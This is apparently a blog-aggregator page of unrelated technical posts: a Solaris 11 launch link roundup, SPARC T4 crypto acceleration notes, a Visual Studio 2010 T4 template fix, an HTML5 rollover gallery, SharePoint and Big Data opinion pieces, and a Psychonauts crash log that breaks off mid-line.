Express. If you're now wondering whether you can upgrade or whether a fresh install is necessary, then check out Alan Hargreaves's post Upgrading Solaris 11 Express b151a with support to Solaris 11. The trick is in upgrading your pkg(1M) first. Networking One of the first things to do after installing Solaris 11 (or any operating system for that matter), is to set it up for networking. Solaris 11 comes with the brand new "Network Auto-Magic" feature which can figure out everything by itself. For those cases where you want to exercise a little more control, Solaris 11 left a few people scratching their heads. Fortunately, Tschokko wrote up this cool blog post: Solaris 11 manual IPv4 & IPv6 configuration right after the launch ceremony. Thanks, Tschokko! And Milek points out a long awaited networking feature in Solaris 11 called Solaris 11 - hostmodel, which I know for a fact that many customers have looked forward to: How to "bind" a Solaris 11 system to a specific gateway for specific IP address it is using. Steffen Weiberle teaches us how to tune the Solaris 11 networking stack the proper way: ipadm(1M). No more fiddling with ndd(1M)! Check out his tutorial on Solaris 11 Network Tunables. And if you want to get even deeper into the networking stack, there's nothing better than DTrace. Alan Maguire teaches you in: DTracing TCP Congestion Control how to probe deeply into the Solaris 11 TCP/IP stack, the TCP congestion control part in particular. Don't miss his other DTrace and TCP related blog posts! DTrace And there we are: DTrace, the king of all observability tools. Long time DTrace veteran and co-author of The DTrace book*, Brendan Gregg blogged about Solaris 11 DTrace syscall provider changes. BTW, after you install Solaris 11, check out the DTrace toolkit which is installed by default in /usr/dtrace/DTT. It is chock full of handy DTrace scripts, many of which contributed by Brendan himself! Security Another big theme in Solaris 11, and one that is crucial for the success of any operating system in the Cloud is Security. Here are some notable posts in this category: Darren Moffat starts by showing us how to completely get rid of root: Completely Disabling Root Logins on Solaris 11. With no root user, there's one major entry point less to worry about. But that's only the start. In Immutable Zones on Encrypted ZFS, Darren shows us how to double the security of your services: First by locking them into the new Immutable Zones feature, then by encrypting their data using the new ZFS encryption feature. And if you're still missing sudo from your Linux days, Darren again has a solution: Password (PAM) caching for Solaris su - "a la sudo". If you're wondering how much compute power all this encryption will cost you, you're in luck: The Solaris X86 AESNI OpenSSL Engine will make sure you'll use your Intel's embedded crypto support to its fullest. And if you own a brand new SPARC T4 machine you're even luckier: It comes with its own SPARC T4 OpenSSL Engine. Dan Anderson's posts show how there really is now excuse not to encrypt any more... Developers Solaris 11 has a lot to offer to developers as well. Ali Bahrami has a series of blog posts that cover diverse developer topics: elffile: ELF Specific File Identification Utility, Using Stub Objects and The Stub Proto: Not Just For Stub Objects Anymore to name a few. BTW, if you're a developer and want to shape the future of Solaris 11, then Vijay Tatkar has a hint for you: Oracle (Sun Systems Group) is hiring! Desktop and Graphics Yes, Solaris 11 is a 100% server OS, but it can also offer a decent desktop environment, especially if you are a developer. Alan Coopersmith starts by discussing S11 X11: ye olde window system in today's new operating system, then Calum Benson shows us around What's new on the Solaris 11 Desktop. Even accessibility is a first-class citizen in the Solaris 11 user interface. Peter Korn celebrates: Accessible Oracle Solaris 11 - released! Performance Gone are the days of "Slowaris", when Solaris was among the few OSes that "did the right thing" while others cut corners just to win benchmarks. Today, Solaris continues doing the right thing, and it delivers the right performance at the same time. Need proof? Check out Brian's BestPerf blog with continuous updates from the benchmarking lab, including Recent Benchmarks Using Oracle Solaris 11! Send Me More Solaris 11 Launch Articles! These are just a few of the more interesting blog articles that came out around the Solaris 11 launch, I'm sure there are many more! Feel free to post a comment below if you find a particularly interesting blog post that hasn't been listed so far and share your enthusiasm for Solaris 11! *Affiliate link: Buy cool stuff and support this blog at no extra cost. We both win! var flattr_uid = '26528'; var flattr_tle = 'Solaris 11 Launch Blog Carnival Roundup'; var flattr_dsc = '<strong>Solaris 11 is here!</strong>And together with the official launch activities, a lot of Oracle and non-Oracle bloggers contributed helpful and informative blog articles to help your datacenter <a href="http://en.wikipedia.org/wiki/Up_to_eleven">go to eleven</a>.Here are some notable blog postings, sorted by category for your Solaris 11 blog-reading pleasure:'; var flattr_tag = 'blogging,digest,Oracle,Solaris,solaris,solaris 11'; var flattr_cat = 'text'; var flattr_url = 'http://constantin.glez.de/blog/2011/11/solaris-11-launch-blog-carnival-roundup'; var flattr_lng = 'en_GB'

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• Interesting articles and blogs on SPARC T4

  - by mv

  Interesting articles and blogs on SPARC T4 processor   I have consolidated all the interesting information I could get on SPARC T4 processor and its hardware cryptographic capabilities.  Hope its useful. 1. Advantages of SPARC T4 processor  Most important points in this T4 announcement are : "The SPARC T4 processor was designed from the ground up for high speed security and has a cryptographic stream processing unit (SPU) integrated directly into each processor core. These accelerators support 16 industry standard security ciphers and enable high speed encryption at rates 3 to 5 times that of competing processors. By integrating encryption capabilities directly inside the instruction pipeline, the SPARC T4 processor eliminates the performance and cost barriers typically associated with secure computing and makes it possible to deliver high security levels without impacting the user experience." Data Sheet has more details on these  : "New on-chip Encryption Instruction Accelerators with direct non-privileged support for 16 industry-standard cryptographic algorithms plus random number generation in each of the eight cores: AES, Camellia, CRC32c, DES, 3DES, DH, DSA, ECC, Kasumi, MD5, RSA, SHA-1, SHA-224, SHA-256, SHA-384, SHA-512" I ran "isainfo -v" command on Solaris 11 Sparc T4-1 system. It shows the new instructions as expected  : $ isainfo -v 64-bit sparcv9 applications crc32c cbcond pause mont mpmul sha512 sha256 sha1 md5 camellia kasumi des aes ima hpc vis3 fmaf asi_blk_init vis2 vis popc 32-bit sparc applications crc32c cbcond pause mont mpmul sha512 sha256 sha1 md5 camellia kasumi des aes ima hpc vis3 fmaf asi_blk_init vis2 vis popc v8plus div32 mul32  2.  Dan Anderson's Blog have some interesting points about how these can be used : "New T4 crypto instructions include: aes_kexpand0, aes_kexpand1, aes_kexpand2,         aes_eround01, aes_eround23, aes_eround01_l, aes_eround_23_l, aes_dround01, aes_dround23, aes_dround01_l, aes_dround_23_l.       Having SPARC T4 hardware crypto instructions is all well and good, but how do we access it ?      The software is available with Solaris 11 and is used automatically if you are running Solaris a SPARC T4.  It is used internally in the kernel through kernel crypto modules.  It is available in user space through the PKCS#11 library." 3.   Dans' Blog on Where's the Crypto Libraries? Although this was written in 2009 but still is very useful  "Here's a brief tour of the major crypto libraries shown in the digraph:   The libpkcs11 library contains the PKCS#11 API (C_\*() functions, such as C_Initialize()). That in turn calls library pkcs11_softtoken or pkcs11_kernel, for userland or kernel crypto providers. The latter is used mostly for hardware-assisted cryptography (such as n2cp for Niagara2 SPARC processors), as that is performed more efficiently in kernel space with the "kCF" module (Kernel Crypto Framework). Additionally, for Solaris 10, strong crypto algorithms were split off in separate libraries, pkcs11_softtoken_extra libcryptoutil contains low-level utility functions to help implement cryptography. libsoftcrypto (OpenSolaris and Solaris Nevada only) implements several symmetric-key crypto algorithms in software, such as AES, RC4, and DES3, and the bignum library (used for RSA). libmd implements MD5, SHA, and SHA2 message digest algorithms" 4. Difference in T3 and T4 Diagram in this blog is good and self explanatory. Jeff's blog also highlights the differences  "The T4 servers have improved crypto acceleration, described at https://blogs.oracle.com/DanX/entry/sparc_t4_openssl_engine. It is "just built in" so administrators no longer have to assign crypto accelerator units to domains - it "just happens". Every physical or virtual CPU on a SPARC-T4 has full access to hardware based crypto acceleration at all times. .... For completeness sake, it's worth noting that the T4 adds more crypto algorithms, and accelerates Camelia, CRC32c, and more SHA-x." 5. About performance counters In this blog, performance counters are explained : "Note that unlike T3 and before, T4 crypto doesn't require kernel modules like ncp or n2cp, there is no visibility of crypto hardware with kstats or cryptoadm. T4 does provide hardware counters for crypto operations.  You can see these using cpustat: cpustat -c pic0=Instr_FGU_crypto 5 You can check the general crypto support of the hardware and OS with the command "isainfo -v". Since T4 crypto's implementation now allows direct userland access, there are no "crypto units" visible to cryptoadm.  " For more details refer Martin's blog as well. 6. How to turn off  SPARC T4 or Intel AES-NI crypto acceleration  I found this interesting blog from Darren about how to turn off  SPARC T4 or Intel AES-NI crypto acceleration. "One of the new Solaris 11 features of the linker/loader is the ability to have a single ELF object that has multiple different implementations of the same functions that are selected at runtime based on the capabilities of the machine.   The alternate to this is having the application coded to call getisax(2) system call and make the choice itself.  We use this functionality of the linker/loader when we build the userland libraries for the Solaris Cryptographic Framework (specifically libmd.so and libsoftcrypto.so) The Solaris linker/loader allows control of a lot of its functionality via environment variables, we can use that to control the version of the cryptographic functions we run.  To do this we simply export the LD_HWCAP environment variable with values that tell ld.so.1 to not select the HWCAP section matching certain features even if isainfo says they are present.  This will work for consumers of the Solaris Cryptographic Framework that use the Solaris PKCS#11 libraries or use libmd.so interfaces directly.  For SPARC T4 : export LD_HWCAP="-aes -des -md5 -sha256 -sha512 -mont -mpul" .. For Intel systems with AES-NI support: export LD_HWCAP="-aes"" Note that LD_HWCAP is explained in  http://docs.oracle.com/cd/E23823_01/html/816-5165/ld.so.1-1.html "LD_HWCAP, LD_HWCAP_32, and LD_HWCAP_64 -  Identifies an alternative hardware capabilities value... A “-” prefix results in the capabilities that follow being removed from the alternative capabilities." 7. Whitepaper on SPARC T4 Servers—Optimized for End-to-End Data Center Computing This Whitepaper on SPARC T4 Servers—Optimized for End-to-End Data Center Computing explains more details.  It has DTrace scripts which may come in handy : "To ensure the hardware-assisted cryptographic acceleration is configured to use and working with the security scenarios, it is recommended to use the following Solaris DTrace script. #!/usr/sbin/dtrace -s pid$1:libsoftcrypto:yf*:entry, pid$target:libsoftcrypto:rsa*:entry, pid$1:libmd:yf*:entry { @[probefunc] = count(); } tick-1sec { printa(@ops); trunc(@ops); }" Note that I have slightly modified the D Script to have RSA "libsoftcrypto:rsa*:entry" as well as per recommendations from Chi-Chang Lin. 8. References http://www.oracle.com/us/corporate/features/sparc-t4-announcement-494846.html http://www.oracle.com/us/products/servers-storage/servers/sparc-enterprise/t-series/sparc-t4-1-ds-487858.pdf https://blogs.oracle.com/DanX/entry/sparc_t4_openssl_engine https://blogs.oracle.com/DanX/entry/where_s_the_crypto_libraries https://blogs.oracle.com/darren/entry/howto_turn_off_sparc_t4 http://docs.oracle.com/cd/E23823_01/html/816-5165/ld.so.1-1.html   https://blogs.oracle.com/hardware/entry/unleash_the_power_of_cryptography https://blogs.oracle.com/cmt/entry/t4_crypto_cheat_sheet https://blogs.oracle.com/martinm/entry/t4_performance_counters_explained  https://blogs.oracle.com/jsavit/entry/no_mau_required_on_a http://www.oracle.com/us/products/servers-storage/servers/sparc-enterprise/t-series/sparc-t4-business-wp-524472.pdf

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• T4 Template error - Assembly Directive cannot locate referenced assembly in Visual Studio 2010 proje

  - by CodeSniper

  I ran into the following error recently in Visual Studio 2010 while trying to port Phil Haack’s excellent T4CSS template which was originally built for Visual Studio 2008.   The Problem Error Compiling transformation: Metadata file 'dotless.Core' could not be found In “T4 speak”, this simply means that you have an Assembly directive in your T4 template but the T4 engine was not able to locate or load the referenced assembly. In the case of the T4CSS Template, this was a showstopper for making it work in Visual Studio 2010. On a side note: The T4CSS template is a sweet little wrapper to allow you to use DotLessCss to generate static .css files from .less files rather than using their default HttpHandler or command-line tool.    If you haven't tried DotLessCSS yet, go check it out now!  In short, it is a tool that allows you to templatize and program your CSS files so that you can use variables, expressions, and mixins within your CSS which enables rapid changes and a lot of developer-flexibility as you evolve your CSS and UI. Back to our regularly scheduled program… Anyhow, this post isn't about DotLessCss, its about the T4 Templates and the errors I ran into when converting them from Visual Studio 2008 to Visual Studio 2010. In VS2010, there were quite a few changes to the T4 Template Engine; most were excellent changes, but this one bit me with T4CSS: “Project assemblies are no longer used to resolve template assembly directives.” In VS2008, if you wanted to reference a custom assembly in your T4 Template (.tt file) you would simply right click on your project, choose Add Reference and select that assembly.  Afterwards you were allowed to use the following syntax in your T4 template to tell it to look at the local references: <#@ assembly name="dotless.Core.dll" #> This told the engine to look in the “usual place” for the assembly, which is your project references. However, this is exactly what they changed in VS2010.  They now basically sandbox the T4 Engine to keep your T4 assemblies separate from your project assemblies.  This can come in handy if you want to support different versions of an assembly referenced both by your T4 templates and your project. Who broke the build?  Oh, Microsoft Did! In our case, this change causes a problem since the templates are no longer compatible when upgrading to VS 2010 – thus its a breaking change.  So, how do we make this work in VS 2010? Luckily, Microsoft now offers several options for referencing assemblies from T4 Templates: GAC your assemblies and use Namespace Reference or Fully Qualified Type Name Use a hard-coded Fully Qualified UNC path Copy assembly to Visual Studio "Public Assemblies Folder" and use Namespace Reference or Fully Qualified Type Name.  Use or Define a Windows Environment Variable to build a Fully Qualified UNC path. Use a Visual Studio Macro to build a Fully Qualified UNC path. Option #1 & 2 were already supported in Visual Studio 2008, so if you want to keep your templates compatible with both Visual Studio versions, then you would have to adopt one of these approaches. Yakkety Yak, use the GAC! Option #1 requires an additional pre-build step to GAC the referenced assembly, which could be a pain.  But, if you go that route, then after you GAC, all you need is a simple type name or namespace reference such as: <#@ assembly name="dotless.Core" #> Hard Coding aint that hard! The other option of using hard-coded paths in Option #2 is pretty impractical in most situations since each developer would have to use the same local project folder paths, or modify this setting each time for their local machines as well as for production deployment.  However, if you want to go that route, simply use the following assembly directive style: <#@ assembly name="C:\Code\Lib\dotless.Core.dll" #> Lets go Public! Option #3, the Visual Studio Public Assemblies Folder, is the recommended place to put commonly used tools and libraries that are only needed for Visual Studio.  Think of it like a VS-only GAC.  This is likely the best place for something like dotLessCSS and is my preferred solution.  However, you will need to either use an installer or a pre-build action to copy the assembly to the right folder location.   Normally this is located at:  C:\Program Files (x86)\Microsoft Visual Studio 10.0\Common7\IDE\PublicAssemblies Once you have copied your assembly there, you use the type name or namespace syntax again: <#@ assembly name="dotless.Core" #> Save the Environment! Option #4, using a Windows Environment Variable, is interesting for enterprise use where you may have standard locations for files, but less useful for demo-code, frameworks, and products where you don't have control over the local system.  The syntax for including a environment variable in your assembly directive looks like the following, just as you would expect: <#@ assembly name="%mypath%\dotless.Core.dll" #> “mypath” is a Windows environment variable you setup that points to some fully qualified UNC path on your system.  In the right situation this can be a great solution such as one where you use a msi installer for deployment, or where you have a pre-existing environment variable you can re-use. OMG Macros! Finally, Option #5 is a very nice option if you want to keep your T4 template’s assembly reference local and relative to the project or solution without muddying-up your dev environment or GAC with extra deployments.  An example looks like this: <#@ assembly name="$(SolutionDir)lib\dotless.Core.dll" #> In this example, I’m using the “SolutionDir” VS macro so I can reference an assembly in a “/lib” folder at the root of the solution.   This is just one of the many macros you can use.  If you are familiar with creating Pre/Post-build Event scripts, you can use its dialog to look at all of the different VS macros available. This option gives the best solution for local assemblies without the hassle of extra installers or other setup before the build.   However, its still not compatible with Visual Studio 2008, so if you have a T4 Template you want to use with both, then you may have to create multiple .tt files, one for each IDE version, or require the developer to set a value in the .tt file manually.   I’m not sure if T4 Templates support any form of compiler switches like “#if (VS2010)”  statements, but it would definitely be nice in this case to switch between this option and one of the ones more compatible with VS 2008. Conclusion As you can see, we went from 3 options with Visual Studio 2008, to 5 options (plus one problem) with Visual Studio 2010.  As a whole, I think the changes are great, but the short-term growing pains during the migration may be annoying until we get used to our new found power. Hopefully this all made sense and was helpful to you.  If nothing else, I’ll just use it as a reference the next time I need to port a T4 template to Visual Studio 2010.  Happy T4 templating, and “May the fourth be with you!”

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• Creating a multi-column rollover image gallery with HTML 5

  - by nikolaosk

  I know it has been a while since I blogged about HTML 5. I have two posts in this blog about HTML 5. You can find them here and here.I am creating a small content website (only text,images and a contact form) for a friend of mine.He wanted to create a rollover gallery.The whole concept is that we have some small thumbnails on a page, the user hovers over them and they appear enlarged on a designated container/placeholder on a page. I am trying not to use Javascript scripts when I am using effects on a web page and this is what I will be doing in this post.  Well some people will say that HTML 5 is not supported in all browsers. That is true but most of the modern browsers support most of its recommendations. For people who still use IE6 some hacks must be devised.Well to be totally honest I cannot understand why anyone at this day and time is using IE 6.0.That really is beyond me.Well, the point of having a web browser is to be able to ENJOY the great experience that the WE? offers today.  Two very nice sites that show you what features and specifications are implemented by various browsers and their versions are http://caniuse.com/ and http://html5test.com/. At this times Chrome seems to support most of HTML 5 specifications.Another excellent way to find out if the browser supports HTML 5 and CSS 3 features is to use the Javascript lightweight library Modernizr.In this hands-on example I will be using Expression Web 4.0.This application is not a free application. You can use any HTML editor you like.You can use Visual Studio 2012 Express edition. You can download it here. In order to be absolutely clear this is not (and could not be ) a detailed tutorial on HTML 5. There are other great resources for that.Navigate to the excellent interactive tutorials of W3School.Another excellent resource is HTML 5 Doctor.For the people who are not convinced yet that they should invest time and resources on becoming experts on HTML 5 I should point out that HTML 5 websites will be ranked higher than others. Search engines will be able to locate better the content of our site and its relevance/importance since it is using semantic tags. Let's move now to the actual hands-on example. In this case (since I am mad Liverpool supporter) I will create a rollover image gallery of Liverpool F.C legends. I create a folder in my desktop. I name it Liverpool Gallery.Then I create two subfolders in it, large-images (I place the large images in there) and thumbs (I place the small images in there).Then I create an empty .html file called LiverpoolLegends.html and an empty .css file called style.css.Please have a look at the HTML Markup that I typed in my fancy editor package below<!doctype html><html lang="en"><head><title>Liverpool Legends Gallery</title><meta charset="utf-8"><link rel="stylesheet" type="text/css" href="style.css"></head><body><header><h1>A page dedicated to Liverpool Legends</h1><h2>Do hover over the images with the mouse to see the full picture</h2></header><ul id="column1"><li><a href="http://weblogs.asp.net/controlpanel/blogs/posteditor.aspx?SelectedNavItem=Posts§ionid=1153&postid=8927200#"><img src="thumbs/john-barnes.jpg" alt=""><img class="large" src="large-images/john-barnes-large.jpg" alt=""></a></li><li><a href="http://weblogs.asp.net/controlpanel/blogs/posteditor.aspx?SelectedNavItem=Posts§ionid=1153&postid=8927200#"><img src="thumbs/ian-rush.jpg" alt=""><img class="large" src="large-images/ian-rush-large.jpg" alt=""></a></li><li><a href="http://weblogs.asp.net/controlpanel/blogs/posteditor.aspx?SelectedNavItem=Posts§ionid=1153&postid=8927200#"><img src="thumbs/graeme-souness.jpg" alt=""><img class="large" src="large-images/graeme-souness-large.jpg" alt=""></a></li></ul><ul id="column2"><li><a href="http://weblogs.asp.net/controlpanel/blogs/posteditor.aspx?SelectedNavItem=Posts§ionid=1153&postid=8927200#"><img src="thumbs/steven-gerrard.jpg" alt=""><img class="large" src="large-images/steven-gerrard-large.jpg" alt=""></a></li><li><a href="http://weblogs.asp.net/controlpanel/blogs/posteditor.aspx?SelectedNavItem=Posts§ionid=1153&postid=8927200#"><img src="thumbs/kenny-dalglish.jpg" alt=""><img class="large" src="large-images/kenny-dalglish-large.jpg" alt=""></a></li><li><a href="http://weblogs.asp.net/controlpanel/blogs/posteditor.aspx?SelectedNavItem=Posts§ionid=1153&postid=8927200#"><img src="thumbs/robbie-fowler.jpg" alt=""><img class="large" src="large-images/robbie-fowler-large.jpg" alt=""></a></li></ul><ul id="column3"><li><a href="http://weblogs.asp.net/controlpanel/blogs/posteditor.aspx?SelectedNavItem=Posts§ionid=1153&postid=8927200#"><img src="thumbs/alan-hansen.jpg" alt=""><img class="large" src="large-images/alan-hansen-large.jpg" alt=""></a></li><li><a href="http://weblogs.asp.net/controlpanel/blogs/posteditor.aspx?SelectedNavItem=Posts§ionid=1153&postid=8927200#"><img src="thumbs/michael-owen.jpg" alt=""><img class="large" src="large-images/michael-owen-large.jpg" alt=""></a></li></ul></body></html> It is very easy to follow the markup. Please have a look at the new doctype and the new semantic tag <header>. I have 3 columns and I place my images in there.There is a class called "large".I will use this class in my CSS code to hide the large image when the mouse is not on (hover) an image Make sure you validate your HTML 5 page in the validator found hereHave a look at the CSS code below that makes it all happen.img { border:none;}#column1 { position: absolute; top: 30; left: 100; }li { margin: 15px; list-style-type:none;}#column1 a img.large {  position: absolute; top: 0; left:700px; visibility: hidden;}#column1 a:hover { background: white;}#column1 a:hover img.large { visibility:visible;}#column2 { position: absolute; top: 30; left: 195px; }li { margin: 5px; list-style-type:none;}#column2 a img.large { position: absolute; top: 0; left:510px; margin-left:0; visibility: hidden;}#column2 a:hover { background: white;}#column2 a:hover img.large { visibility:visible;}#column3 { position: absolute; top: 30; left: 400px; width:108px;}li { margin: 5px; list-style-type:none;}#column3 a img.large { width: 260px; height:260px; position: absolute; top: 0; left:315px; margin-left:0; visibility: hidden;}#column3 a:hover { background: white;}#column3 a:hover img.large { visibility:visible;}?n the first line of the CSS code I set the images to have no border.Then I place the first column in the page and then remove the bullets from the list elements.Then I use the large CSS class to create a position for the large image and hide it.Finally when the hover event takes place I make the image visible.I repeat the process for the next two columns. I have tested the page with IE 10 and the latest versions of Opera,Chrome and Firefox.Feel free to style your HTML 5 gallery any way you want through the magic of CSS.I did not bother adding background colors and borders because that was beyond the scope of this post. Hope it helps!!!!

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• What is SharePoint Out of the Box?

  - by Bil Simser

  It’s always fun in the blog-o-sphere and SharePoint bloggers always keep the pot boiling. Bjorn Furuknap recently posted a blog entry titled Why Out-of-the-Box Makes No Sense in SharePoint, quickly followed up by a rebuttal by Marc Anderson on his blog. Okay, now that we have all the players and the stage what’s the big deal? Bjorn started his post saying that you don’t use “out-of-the-box” (OOTB) SharePoint because it makes no sense. I have to disagree with his premise because what he calls OOTB is basically installing SharePoint and admiring it, but not using it. In his post he lays claim that modifying say the OOTB contacts list by removing (or I suppose adding) a column, now puts you in a situation where you’re no longer using the OOTB functionality. Really? Side note. Dear Internet, please stop comparing building software to building houses. Or comparing software architecture to building architecture. Or comparing web sites to making dinner. Are you trying to dumb down something so the general masses understand it? Comparing a technical skill to a construction operation isn’t the way to do this. Last time I checked, most people don’t know how to build houses and last time I checked people reading technical SharePoint blogs are generally technical people that understand the terms you use. Putting metaphors around software development to make it easy to understand is detrimental to the goal. </rant> Okay, where were we? Right, adding columns to lists means you are no longer using the OOTB functionality. Yeah, I still don’t get it. Another statement Bjorn makes is that using the OOTB functionality kills the flexibility SharePoint has in creating exactly what you want. IMHO this really flies in the absolute face of *where* SharePoint *really* shines. For the past year or so I’ve been leaning more and more towards OOTB solutions over custom development for the simple reason that its expensive to maintain systems and code and assets. SharePoint has enabled me to do this simply by providing the tools where I can give users what they need without cracking open up Visual Studio. This might be the fact that my day job is with a regulated company and there’s more scrutiny with spending money on anything new, but frankly that should be the position of any responsible developer, architect, manager, or PM. Do you really want to throw money away because some developer tells you that you need a custom web part when perhaps with some creative thinking or expectation setting with customers you can meet the need with what you already have. The way I read Bjorn’s terminology of “out-of-the-box” is install the software and tell people to go to a website and admire the OOTB system, but don’t change it! For those that know things like WordPress, DotNetNuke, SubText, Drupal or any of those content management/blogging systems, its akin to installing the software and setting up the “Hello World” blog post or page, then staring at it like it’s useful. “Yes, we are using WordPress!”. Then not adding a new post, creating a new category, or adding an About page. Perhaps I’m wrong in my interpretation. This leads us to what is OOTB SharePoint? To many people I’ve talked to the last few hours on twitter, email, etc. it is *not* just installing software but actually using it as it was fit for purpose. What’s the purpose of SharePoint then? It has many purposes, but using the OOTB templates Microsoft has given you the ability to collaborate on projects, author/share/publish documents, create pages, track items/contacts/tasks/etc. in a multi-user web based interface, and so on. Microsoft has pretty clear definitions of these different levels of SharePoint we’re talking about and I think it’s important for everyone to know what they are and what they mean. Personalization and Administration To me, this is the OOTB experience. You install the product and then are able to do things like create new lists, sites, edit and personalize pages, create new views, etc. Basically use the platform services available to you with Windows SharePoint Services (or SharePoint Foundation in 2010) to your full advantage. No code, no special tools needed, and very little user training required. Could you take someone who has never done anything in a website or piece of software and unleash them onto a site? Probably not. However I would argue that anyone who’s configured the Outlook reading layout or applied styles to a Word document probably won’t have too much difficulty in using SharePoint OUT OF THE BOX. Customization Here’s where things might get a bit murky but to me this is where you start looking at HTML/ASPX page code through SharePoint Designer, using jQuery scripts and plugging them into Web Part Pages via a Content Editor Web Part, and generally enhancing the site. The JavaScript debate might kick in here claiming it’s no different than C#, and frankly you can totally screw a site up with jQuery on a CEWP just as easily as you can with a C# delegate control deployed to the server file system. However (again, my blog, my opinion) the customization label comes in when I need to access the server (for example creating a custom theme) or have some kind of net-new element I add to the system that wasn’t there OOTB. It’s not content (like a new list or site), it’s code and does something functional. Development Here’s were the propeller hats come on and we’re talking algorithms and unit tests and compilers oh my. Software is deployed to the server, people are writing solutions after some kind of training (perhaps), there might be some specialized tools they use to craft and deploy the solutions, there’s the possibility of exceptions being thrown, etc. There are a lot of definitions here and just like customization it might get murky (do you let non-developers build solutions using development, i.e. jQuery/C#?). In my experience, it’s much more cost effective keeping solutions under the first two umbrellas than leaping into the third one. Arguably you could say that you can’t build useful solutions without *some* kind of code (even just some simple jQuery). I think you can get a *lot* of value just from using the OOTB experience and I don’t think you’re constraining your users that much. I’m not saying Marc or Bjorn are wrong. Like Obi-Wan stated, they’re both correct “from a certain point of view”. To me, SharePoint Out of the Box makes total sense and should not be dismissed. I just don’t agree with the premise that Bjorn is basing his statements on but that’s just my opinion and his is different and never the twain shall meet.

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• Big Data&rsquo;s Killer App&hellip;

  - by jean-pierre.dijcks

  Recently Keith spent  some time talking about the cloud on this blog and I will spare you my thoughts on the whole thing. What I do want to write down is something about the Big Data movement and what I think is the killer app for Big Data... Where is this coming from, ok, I confess... I spent 3 days in cloud land at the Cloud Connect conference in Santa Clara and it was quite a lot of fun. One of the nice things at Cloud Connect was that there was a track dedicated to Big Data, which prompted me to some extend to write this post. What is Big Data anyways? The most valuable point made in the Big Data track was that Big Data in itself is not very cool. Doing something with Big Data is what makes all of this cool and interesting to a business user! The other good insight I got was that a lot of people think Big Data means a single gigantic monolithic system holding gazillions of bytes or documents or log files. Well turns out that most people in the Big Data track are talking about a lot of collections of smaller data sets. So rather than thinking "big = monolithic" you should be thinking "big = many data sets". This is more than just theoretical, it is actually relevant when thinking about big data and how to process it. It is important because it means that the platform that stores data will most likely consist out of multiple solutions. You may be storing logs on something like HDFS, you may store your customer information in Oracle and you may store distilled clickstream information in some distilled form in MySQL. The big question you will need to solve is not what lives where, but how to get it all together and get some value out of all that data. NoSQL and MapReduce Nope, sorry, this is not the killer app... and no I'm not saying this because my business card says Oracle and I'm therefore biased. I think language is important, but as with storage I think pragmatic is better. In other words, some questions can be answered with SQL very efficiently, others can be answered with PERL or TCL others with MR. History should teach us that anyone trying to solve a problem will use any and all tools around. For example, most data warehouses (Big Data 1.0?) get a lot of data in flat files. Everyone then runs a bunch of shell scripts to massage or verify those files and then shoves those files into the database. We've even built shell script support into external tables to allow for this. I think the Big Data projects will do the same. Some people will use MapReduce, although I would argue that things like Cascading are more interesting, some people will use Java. Some data is stored on HDFS making Cascading the way to go, some data is stored in Oracle and SQL does do a good job there. As with storage and with history, be pragmatic and use what fits and neither NoSQL nor MR will be the one and only. Also, a language, while important, does in itself not deliver business value. So while cool it is not a killer app... Vertical Behavioral Analytics This is the killer app! And you are now thinking: "what does that mean?" Let's decompose that heading. First of all, analytics. I would think you had guessed by now that this is really what I'm after, and of course you are right. But not just analytics, which has a very large scope and means many things to many people. I'm not just after Business Intelligence (analytics 1.0?) or data mining (analytics 2.0?) but I'm after something more interesting that you can only do after collecting large volumes of specific data. That all important data is about behavior. What do my customers do? More importantly why do they behave like that? If you can figure that out, you can tailor web sites, stores, products etc. to that behavior and figure out how to be successful. Today's behavior that is somewhat easily tracked is web site clicks, search patterns and all of those things that a web site or web server tracks. that is where the Big Data lives and where these patters are now emerging. Other examples however are emerging, and one of the examples used at the conference was about prediction churn for a telco based on the social network its members are a part of. That social network is not about LinkedIn or Facebook, but about who calls whom. I call you a lot, you switch provider, and I might/will switch too. And that just naturally brings me to the next word, vertical. Vertical in this context means per industry, e.g. communications or retail or government or any other vertical. The reason for being more specific than just behavioral analytics is that each industry has its own data sources, has its own quirky logic and has its own demands and priorities. Of course, the methods and some of the software will be common and some will have both retail and service industry analytics in place (your corner coffee store for example). But the gist of it all is that analytics that can predict customer behavior for a specific focused group of people in a specific industry is what makes Big Data interesting. Building a Vertical Behavioral Analysis System Well, that is going to be interesting. I have not seen much going on in that space and if I had to have some criticism on the cloud connect conference it would be the lack of concrete user cases on big data. The telco example, while a step into the vertical behavioral part is not really on big data. It used a sample of data from the customers' data warehouse. One thing I do think, and this is where I think parts of the NoSQL stuff come from, is that we will be doing this analysis where the data is. Over the past 10 years we at Oracle have called this in-database analytics. I guess we were (too) early? Now the entire market is going there including companies like SAS. In-place btw does not mean "no data movement at all", what it means that you will do this on data's permanent home. For SAS that is kind of the current problem. Most of the inputs live in a data warehouse. So why move it into SAS and back? That all worked with 1 TB data warehouses, but when we are looking at 100TB to 500 TB of distilled data... Comments? As it is still early days with these systems, I'm very interested in seeing reactions and thoughts to some of these thoughts...

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• Psychonauts crashes right after entering load save door

  - by user67974

  Psychonauts crashes right after entering the 'Load Save' door. Here is the terminal output: Shader assembly time: 0.88 seconds Found OpenAL device: 'Simple Directmedia Layer' Found OpenAL device: 'ALSA Software' Found OpenAL device: 'OSS Software' Found OpenAL device: 'PulseAudio Software' Opened OpenAL Device: '(null)' ERROR: CAudioDrv::CAudioDrv->alGenSources reports AL_INVALID_VALUE error. PSYCHONAUTS UNIX FILENAME: corrected 'workresource/sounds/commonfx.isb' to 'WorkResource/Sounds/commonfx.isb' PSYCHONAUTS UNIX FILENAME: corrected 'workresource/sounds/commonvoice.isb' to 'WorkResource/Sounds/commonvoice.isb' PSYCHONAUTS UNIX FILENAME: corrected 'workresource/sounds/commonmusic.isb' to 'WorkResource/Sounds/commonmusic.isb' PSYCHONAUTS UNIX FILENAME: corrected 'workresource/sounds/commonmentalfx.isb' to 'WorkResource/Sounds/commonmentalfx.isb' PSYCHONAUTS UNIX FILENAME: corrected 'workresource/sounds/commonmenfxmem.isb' to 'WorkResource/Sounds/commonmenfxmem.isb' PSYCHONAUTS UNIX FILENAME: corrected 'workresource/sounds/commonfxmem.isb' to 'WorkResource/Sounds/commonfxmem.isb' GameApp::StartUp InitSoundFiles() completed in 0.15 seconds GameApp::StartUp Load some common textures completed in 0.00 seconds WARN: ENGINE: Lua garbage collection starting FreeUnusedBlocksInBuckets released 0 Kb GameApp::StartUp InitEntities() completed in 0.02 seconds PSYCHONAUTS UNIX FILENAME: corrected 'WorkResource/SavedGames/savegameprefs.ini' to 'WorkResource/SAVEDGAMES/savegameprefs.ini' PSYCHONAUTS UNIX FILENAME: corrected 